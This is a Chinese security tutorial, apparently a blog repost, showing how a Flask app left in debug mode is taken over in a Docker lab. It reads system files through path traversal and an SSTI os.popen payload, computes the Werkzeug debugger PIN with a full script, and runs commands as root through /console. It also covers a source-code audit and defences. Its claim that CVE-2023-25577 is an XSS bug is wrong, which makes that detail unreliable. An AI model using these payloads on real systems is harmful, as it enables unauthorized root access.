Flask 忘关 debug,一个 9 位数拿下服务器

📢 本文摘自「凋零骷髅Sec」公众号


Q: 我就点开一个内网网站,怎么就能把服务器拿下来?
A: 因为这是 Flask 写的,而且它把 debug 模式开在生产环境了。
Q: 啥是 debug?Flask 又是啥?
A: 慢慢来,这俩词讲明白,你就知道这锅该谁背了。

目标就是下面这个页面,一个很普通的”文件服务”:

图1 目标首页

名词解释

Flask 是框架,Werkzeug 是啥?

这么记:Werkzeug 是发动机和底盘,Flask 是套在上面的车壳。

Werkzeug 是 Python Web 底层的一个工具库,管 HTTP 请求解析、响应拼接、开发服务器、报错页面这些粗活。Flask 离不开它,装 Flask 的时候 Werkzeug 就自动跟来了。

一句话:Flask 是用 Werkzeug 搭起来的。所以待会儿要打的”调试器”,它住在 Werkzeug 里,不在 Flask 里。

debug 模式是啥?

开发者写代码时开了 debug=True,能享受两个”福利”:

  1. 报错时把完整的 Python 堆栈摆给你看,方便找 bug;
  2. 附带一个交互式调试控制台,能在报错的地方现场跑 Python 代码。

第 2 个就是问题。能跑 Python,等于能在服务器上执行任意命令。Werkzeug 给控制台上了把锁——PIN 码。输对了 PIN,控制台解锁,代码随便敲。

那 PIN 是不是随机生成、猜不出来?

想多了。这个 PIN 是”算”出来的,由 6 个固定配方算出个固定数字。谁凑齐这 6 样东西,谁就能算出来。就跟别人把保险箱密码设成”生日+车牌号”似的,你只要知道生日和车牌号,锁就是摆设。

SSTI 又是啥?

模板注入。说白了:网站把你输入的内容当成了网页模板的一部分来渲染。你在输入里塞点 {{ }} 这种特殊语法,服务器就当真去执行了。后面我们就在这站上试。

行,名词过完了,动手。

第一步:找个能下手的口子(两条路,会一条就够)

这站有两个口子能进。

路线 A:模板注入(SSTI)

搜索框里填 {{7*7}},服务器把它当模板渲染,吐了个 49:

图2 SSTI 验证

能算乘法,说明你的输入进了模板引擎。这只是验伤,后面用这个读文件。

路线 B:文件读取(路径穿越)

这站有个 /file 功能,看服务目录下的文件。你把文件名写成 ../../../../etc/passwd,往上翻四层目录再进 etc,系统文件就出来了:

图3 路径穿越读 /etc/passwd

/etc/passwd 是 Linux 的用户表。能读它,说明任意文件读取成立。

新手建议先啃路线 B:只用”读文件”一个概念,没那些花哨语法。下面文章主线就走这条。

第二步:凑齐 PIN 的 6 个配方材料

PIN 由 6 个材料算出来,分两组。

打个 Minecraft 的比方:招出”凋零”要 3 个头颅加 4 个灵魂沙,缺一样都白搭。这里也一样——4 个 public_bits 加 2 个 private_bits,凑齐 6 样,才能把 PIN 这个”服务器钥匙”给合成出来。 少一个,密码就打不开。

public_bits,4 个,比较好搞:

材料 取值 上哪拿
运行用户名 root 读 /proc/self/environ 或 /etc/passwd
模块名 flask.app 固定值
类名 Flask 固定值
flask/app.py 路径 /usr/local/lib/python3.10/site-packages/flask/app.py debug 报错页白送

private_bits,2 个,藏得深点:

材料 取值 上哪拿
网卡 MAC(换整数) f6:ea:03:be:89:1f → 271484945598751 读 /sys/class/net/eth0/address
machine_id a90e1349-41f4-4315-8330-a620ca841350 读 /proc/sys/kernel/random/boot_id

先看第 4 个材料,flask 路径。故意访问个不存在的文件,触发报错。因为开着 debug,服务器把完整堆栈原样甩了出来:

图4 debug 报错页泄露路径

看见堆栈里那句 File "/usr/local/lib/python3.10/site-packages/flask/app.py" 没?——flask 的安装路径,人家自己送上门了。 debug 模式第一宗罪:啥都往外说。

接着把 private_bits 两个材料掏出来。两个入口都试一下,截图都对得上。

入口一:路径穿越(/file 路由)

1
GET /file?name=../../../../sys/class/net/eth0/address

图5 路径穿越读网卡MAC

1
GET /file?name=../../../../proc/sys/kernel/random/boot_id

图6 路径穿越读boot_id

入口二:模板注入(/search 路由,SSTI)

1
/search?name={{ config.__class__.__init__.__globals__['os'].popen('cat /sys/class/net/eth0/address').read() }}

图7 SSTI读网卡MAC

1
/search?name={{ config.__class__.__init__.__globals__['os'].popen('cat /proc/sys/kernel/random/boot_id').read() }}

图8 SSTI读boot_id

这里有个坑得提醒:Werkzeug 2.2.x 算 machine_id 时,会在 boot_id 后头再拼一段 cgroup 尾巴(读 /proc/self/cgroup 第一行最后一个 / 后面的字符)。咱这容器里 cgroup 是 0::/,尾巴是空的,所以 machine_id 恰好等于 boot_id。很多老教程漏了这步,拿到新环境就算不对。

第三步:把 6 个材料算成 PIN

Werkzeug 这算法不复杂,核心就两轮哈希。下面这个计算器可以直接跑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import hashlib
from itertools import chain

username = 'root' # 1 用户名
modname = 'flask.app' # 2 模块名
appname = 'Flask' # 3 类名
modfile = '/usr/local/lib/python3.10/site-packages/flask/app.py' # 4 flask路径
mac = 'f6:ea:03:be:89:1f' # 5 网卡MAC
node = str(int(mac.replace(':', ''), 16))
machine_id = b'a90e1349-41f4-4315-8330-a620ca841350' # 6 machine_id

h = hashlib.sha1()
for bit in chain([username, modname, appname, modfile], [node, machine_id]):
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)

h.update(b'cookiesalt') # 先算出 cookie 名
h.update(b'pinsalt') # 再拼个盐,才算 PIN
pin = f"{int(h.hexdigest(), 16):09d}"[:9]

print(pin) # 163136028,显示时 3 位一组:163-136-028

跑出来:**163-136-028**。跟服务器启动日志里打出来的 Debugger PIN: 163-136-028 一个字不差。算对了。

第四步:解锁控制台,拿下服务器

打开调试控制台 /console,锁着的,要 PIN。

说它是”下界传送门”一点不过分——门后面是能直接执行命令的 Python 环境,也就是服务器的命门。门锁着,密码就在我们手里:

图9 控制台锁定

把算出来的 PIN 填进去:

图10 输入 PIN

点确认,锁定层没了,冒出 >>> 提示符。在控制台里敲一句:

1
import os; os.popen('id').read()

回车:

图11 控制台 RCE

1
'uid=0(root) gid=0(root) groups=0(root)\n'

uid=0(root)——我们已经能以 root 身份在服务器上跑任意命令了。 从”看一眼网页”到”拿下整台服务器”,中间只隔了:一个忘关的 debug、一条路径穿越、一个能算出来的 PIN。

加餐:代码审计——PIN 算法和脚本是怎么来的

前面打是”黑盒”打:对着现象凑参数。这节带你”白盒”看一眼——去 werkzeug 源码里,把这 6 个材料和算法一行行翻出来。审计这套思路放哪个漏洞都通用。

审计四步走:

  1. 先认组件:报错页底部写着 “Werkzeug Debugger”,debug 调试器是 werkzeug 的,源码在 werkzeug/debug/__init__.py。
  2. 找核心函数:调试器要生成 PIN,肯定有个”算 PIN 的函数”。进 __init__.py 一搜,get_pin_and_cookie_name() 明摆着——获取 PIN 和 cookie 名。
  3. 读函数体,6 个材料当场现形:
1
2
3
4
5
6
7
8
9
10
probably_public_bits = [
username, # getpass.getuser() 运行用户
modname, # app.__module__ 模块名
getattr(app, "__name__", type(app).__name__), # 类名
getattr(mod, "__file__", None), # flask/app.py 路径
]
private_bits = [
str(uuid.getnode()), # 网卡 MAC
get_machine_id(), # machine_id
]
  1. 追 machine_id:点进 get_machine_id(),看到它读 /etc/machine-id 或 /proc/sys/kernel/random/boot_id,后面还追加 cgroup 尾巴:
1
2
3
4
5
6
7
8
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
...
linux += value
break

# 容器共享同一个 machine id,拼一点 cgroup 信息
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]

前面那个”cgroup 尾巴”的坑,就是在这里看出来的。审计的好处:不是猜,是源码告诉我材料是哪几个。

脚本是怎么写出来的:

看源码最后这段算法,compute_pin.py 就是照着它”抄”的:

1
2
3
4
5
6
7
8
9
10
11
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits): # 6 个材料按顺序
if isinstance(bit, str):
bit = bit.encode("utf-8") # 字符串先转 bytes
h.update(bit)
h.update(b"cookiesalt") # 拼 cookiesalt → cookie 名
cookie_name = f"__wzd{h.hexdigest()[:20]}"

if num is None:
h.update(b"pinsalt") # 再拼 pinsalt → PIN
num = f"{int(h.hexdigest(), 16):09d}"[:9] # 转十进制补 9 位取前 9

翻译成大白话:

  • 6 个材料按 public + private 顺序喂给 sha1,字符串先 encode("utf-8")
  • 全部拼完再追加 cookiesalt,sha1 结果前 20 位 hex 就是 cookie 名 __wzd...
  • 接着再追加 pinsalt,把 sha1 结果当十进制整数,补足 9 位取前 9 位——就是 PIN

所以 compute_pin.py 干的事,就是把源码这几行”复制”过来,把 6 个变量换成我们用漏洞拿到的 6 个值。审计 → 出脚本,本质就是”读源码 → 抄逻辑 → 填数据”三步。

小技巧:审计时看到”函数名带 get_xxx、返回值是固定位数、用了 cookiesalt / pinsalt 这种盐”的凭证类函数,基本就是能反推的确定性密钥,值得顺着读。

结尾:几个常见疑问

问:这算 Python 的漏洞吗?

不算。Python 本身没毛病。机制在 Werkzeug 的调试器里,根因是部署失误——把开发用的 debug 模式带到了生产。Werkzeug 文档明明白白写着:debug 禁止用于生产。

问:那它是 CVE 吗?

不是。PIN 能算出来是 Werkzeug”故意这么设计的”——它赌的是这 6 个材料很难拿到,靠保密不靠密码学。Werkzeug 自己注释里都承认这事。真正能上报的是那条信息泄露(SSTI / 路径穿越),PIN 只是放大器。

问:是不是必须会 SSTI 才能打?

不是。路线 B(路径穿越读文件)就够了。只要是能读文件或执行代码的漏洞都行:LFI、任意文件下载、SSRF 读 file://、报错信息泄露……SSTI 只是最常见组合。

问:我不会 SSTI,这篇的思路能学吗?必须先去学 SSTI 吗?

不用,一个都不用学。这篇文章的主线本来就是文件读取(路径穿越),全程没碰 SSTI。SSTI 只是”能凑 PIN 的入口”之一,不是核心。核心思路是:先找到任意一个能读文件/执行代码的口子,再把 6 个材料凑齐,算 PIN,解锁。 而且文件读取比 SSTI 通用得多——PHP、Java、Node 的站也有路径穿越,学会这一招到处能用;SSTI 基本只在 Flask/Python 的站上高频出现。会了是多一把武器,不会一点不影响你复现这篇。

问:咋防护?

  1. 生产必须 debug=False;
  2. 真要调试,别把 /console 暴露出来,用防火墙或访问控制挡住;
  3. 依赖升级到新版(旧版 Werkzeug 调试器出过真 CVE:CVE-2023-25577,XSS,新版修了);
  4. 对公网站扫一遍目录,确认没有裸奔的 /console。

问:为啥非得锁版本?

不同 Werkzeug 版本算 PIN 的细节不一样:machine_id 取法、PIN 分组、哈希结构都变过。老 payload 在 Werkzeug 3.x 上算错。复现先看目标版本,再套对应算法。


行了,洞挖到这里,钥匙也到手了。我是凋零骷髅sec,回去继续下界挖矿了——下次见了,各位。

本文所有操作在本地 Docker 沙箱完成,仅供安全学习。生产环境合规操作,没授权别乱试。


Flask 忘关 debug,一个 9 位数拿下服务器
http://82.156.189.140:8085/2026/09/01/flask-pin-debug/
作者
fortuneh2c
发布于
2026年9月1日
许可协议